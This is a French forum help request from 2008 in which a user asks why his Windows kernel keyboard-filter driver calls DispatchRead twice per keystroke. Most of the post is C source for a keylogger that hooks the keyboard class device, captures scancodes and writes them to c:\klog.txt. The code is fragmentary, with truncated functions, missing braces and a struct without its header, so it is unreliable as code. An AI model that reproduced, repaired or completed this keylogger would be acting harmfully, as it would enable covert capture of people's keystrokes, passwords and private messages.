Réaliser un keylogger?! j'ai un problème heeeeeeeeelp!
Aumenov
Messages postés9Date d'inscriptiondimanche 23 décembre 2007StatutMembreDernière intervention13 janvier 2008
-
11 janv. 2008 à 13:20
Sebopop2
Messages postés34Date d'inscriptiondimanche 17 décembre 2006StatutMembreDernière intervention16 juillet 2008
-
14 févr. 2008 à 00:52
Salut,
Je
suis en train de dévélopper un keylogger. Je me suis largement inspirer
du code se trouvant ici
http://www.cppfrance.com/infomsg_COMPILATION-DRIVER-WINDOWS_918558.aspx Je n'ai pas de problème de compilation mais j'ai un bug que
j'arrive pas à résoudre...
Mon bug est le suivant: la fonction dispatchRead est appellée DEUX fois pour une SEULE frappe clavier. Du coup, la variable numPendingIrps est incrémentée d'un cran de trop à chaque frappe clavier. Ainsi, quand
on souhaite arreter le driver donc quand on appelle la fonction Unload cette
variable a la valeur "1" (car DispatchRead est appellée un fois de
trop), donc la boucle while de la fonction Unload est infinie puisque
la condition est toujours fausse (numPendingIrps != 0, car incrémentée
d'une fois de trop à cause de l'appel de trop de DispatchRead). Pour
pouvoir sortir de cette boucle, il faut appyer sur une touche
quelconque pour que la fonction OnReadCompletion soit appellée et donc numPendingIrps soit décrémentée et c'est ainsi qu'on sort de la boucle et la fonction Unload se termine.
Compiler mon code avec DKK. Pour lancer le .sys vous pouvez utiliser kmdManager et pour afficher les traces DebugView.
Un
cas simple vous permettant de voir que DispatchRead est appellée deux
fois au lieu d'une seule, lancez le driver et debugView et appuyez sur
une SEULE touche (une lettre) vous aller voir que cette fonction est appellée deux fois!
Je vous joins mon code. J'ai ajouté du code pour pouvoir écrire les frappes claviers dans le fichier c:/klog.txt.
Mais
attention pour tester ce code n'utiliser que les touches correspondant
aux lettres de l'alphabet: pour l'instant mon keylogger gère que la
lettre de l'alphabet pour le reste des touches il les traduit par "-".
Je
compte beaucoup sur ceux qui ont de l'expérience dans ce domaine car ça
fait un moment que j'essaye de corriger ce bug maintenant mais en
vain...
Mon code:
#################keylogger.c################
include <ntddk.h>
#include <string.h>
#include "keysLoggerComments.h"
int numPendingIrps = 0;
//The Unload routine performs any operations that are necessary before the system unloads the driver
VOID Unload( IN PDRIVER_OBJECT pDriverObject){
KTIMER kTimer;
LARGE_INTEGER timeout;
// Get the pointer to the device extension.
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
DbgPrint(".....Driver Unload Called.....\n");
// Detach from the device underneath that we're hooked to.
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint("Keyboard hook detached from device\n");
// Create a timer.
timeout.QuadPart = 1000000;// .1 s
KeInitializeTimer(&kTimer);
while(numPendingIrps > 0){
// Set the timer.
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
}
// Set our key logger worker thread to terminate.
pKeyboardDeviceExtension->bThreadTerminate = 1;
// Wake up the thread if its blocked & WaitForXXX after this call.
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,TRUE);
// Wait until the worker thread terminates.
DbgPrint("Waiting for key logger thread to terminate\n");
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,Executive,KernelMode,FALSE,NULL);
DbgPrint("Key logger thread terminated\n");
// Close the log file.
ZwClose(pKeyboardDeviceExtension->hLogFile);
// Delete the device.
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint("Tagged IRPs dead...Terminating\n");
//The end
DbgPrint("..... Driver Unload finished.....\n");
return;
}
char keys[1];// this array will contain the key code.
PLIST_ENTRY pListEntry;
KEY_DATA * kData; // a data structure used to hold scancodes in the linked list
//The code waits for the semaphore using KeWaitForSingleObject.
//If the semaphore is incremented, the processing loop knows to continue
while(TRUE){
// Wait for data to become available in the queue.
KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);
//The topmost item is removed safely from the linked list.
//The CONTAINING_RECORD macro returns the base address of the structure containing the field ListEntry.
kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
//DbgPrint("the kData->KeyData is : %x\n",kData->KeyData);
// Convert the scan code to a key code.
ConvertScanCodeToKeyCode(kData->KeyData,keys);
if(TRUE/*keys != 0*/){
// Write the data out to a file.
if(pKeyboardDeviceExtension->hLogFile != NULL){
IO_STATUS_BLOCK io_status;
NTSTATUS status = ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL);
if(status != STATUS_SUCCESS){
;
//DbgPrint("Writing scan code to file failed!\n");
}
else ;
//DbgPrint("Scan code '%s' successfully written to the log file.\n",keys);
}// end if
}// end if
}// end while
//DbgPrint(".....ThreadKeyLogger finished.....\n");
return;
}// end ThreadLogKeyboard
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context){
KEY_DATA * kData ;
int i = 0;
// Get the device extension - we'll need to use it later.
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
DbgPrint(".....OnReadCompletion called.....\n");
// If the request has completed, extract the value of the key.
if(pIrp->IoStatus.Status == STATUS_SUCCESS){
kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
// Fill in kData structure with info from IRP.
kData->KeyData = keys[i].MakeCode;
//Add the scan code to the linked list queue so our worker thread can write it out to a file.
//DbgPrint("Adding IRP to work queue");
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
// Increment the semaphore by 1 - no WaitForXXX after this call.
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,
0,
1,
FALSE);
}// end for
}// end if
// Mark the IRP pending if necessary.
if(pIrp->PendingReturned) IoMarkIrpPending(pIrp);
numPendingIrps--;
DbgPrint("OnReadCompletion::numPendingIrps : %d", numPendingIrps);
DbgPrint(".....OnReadCompletion finished.....\n");
return pIrp->IoStatus.Status;
}// end OnReadCompletion
//This routine is set up to be used specifically for keyboard read requests.
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp){
//This function creates a WORKER THREAD that can write keystrokes to a log file.
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject){
HANDLE hThread;
NTSTATUS status;
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
//DbgPrint(".....InitThreadKeyLogger called.....\n");
// Set the worker thread to running state in device extension.
pKeyboardDeviceExtension->bThreadTerminate = 0;
// Create the worker thread.
status = PsCreateSystemThread(&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger, //Is the entry point for the driver thread.
pKeyboardDeviceExtension);//Supplies a
single argument passed to the thread when it begins execution.
//The HookKeyboard function
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject){
// the filter device object
PDEVICE_OBJECT pKeyboardDeviceObject;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
NTSTATUS status;
DbgPrint(".....HookKeyBoard called.....\n");
//This function returns a pointer to a DeviceObject that contains a pointer to the device extension.
status = IoCreateDevice(pDriverObject, //driver to which the device is associated.
sizeof(DEVICE_EXTENSION),
NULL,// no name //WDM
filter and function drivers do not name their device objects.
FILE_DEVICE_KEYBOARD, //the type of the device.
0, //no secific characteristiccs.
TRUE, //true if driver is reserved for system use.
&pKeyboardDeviceObject); //the device to be created.
// Make sure the device was created.
if(!NT_SUCCESS(status)) return status;
// Get the pointer to the device extension.
pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
RtlInitAnsiString(&ntNameString, ntNameBuffer);
RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,
&ntNameString,
TRUE );
status = IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
// Make sure the device was successefully attached to the driver.
if(!NT_SUCCESS(status)) return status;
//The driverEntry function
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ){
NTSTATUS Status = {0};
PDEVICE_EXTENSION pKeyboardDeviceExtension;
IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
int i = 0;
DbgPrint(".....DriverEntry called.....\n");
for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
pDriverObject->MajorFunction[i] = IODispatch;
// Explicitly fill in the IRP handlers we want to hook.
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
// Hook the keyboard now.
HookKeyboard(pDriverObject);
InitThreadKeyLogger(pDriverObject);
//pDriverObject->DeviceObject->DeviceExtension has been already initialized in HookKeyboard function.
pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
//initializing the shared buffer which is a linked list.
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
//Initialize the lock for the linked list queue.
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
//Initialize the work queue semaphore.
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);
// Create the log file.
RtlInitAnsiString(&ntNameString, ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);
InitializeObjectAttributes(&obj_attrib, &uFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
RtlFreeUnicodeString(&uFileName);
if (Status != STATUS_SUCCESS)
{
//DbgPrint("Failed to create log file\n");
//DbgPrint("File Status = %x\n",file_status);
}
else
{
//DbgPrint("Successfully created log file\n");
//DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile);
}
// Set the DriverUnload procedure.
pDriverObject->DriverUnload = Unload;
PDEVICE_OBJECT pKeyboardDevice;
PETHREAD pThreadObj; //a thread that writes stores key strikes into a file.
int bThreadTerminate; //if equals "true", it indicates that the worker thread is terminated.
HANDLE hLogFile; //references the logfile: where key strikes are stored.
//KEY_STATE kState; //
KSEMAPHORE semQueue;
KSPIN_LOCK lockQueue;
LIST_ENTRY QueueListHead; //Linked list where key strike codes
are stored before converting and writing them into the log file.
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;// Pour l'instant je ne l'utilise pas!!!
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;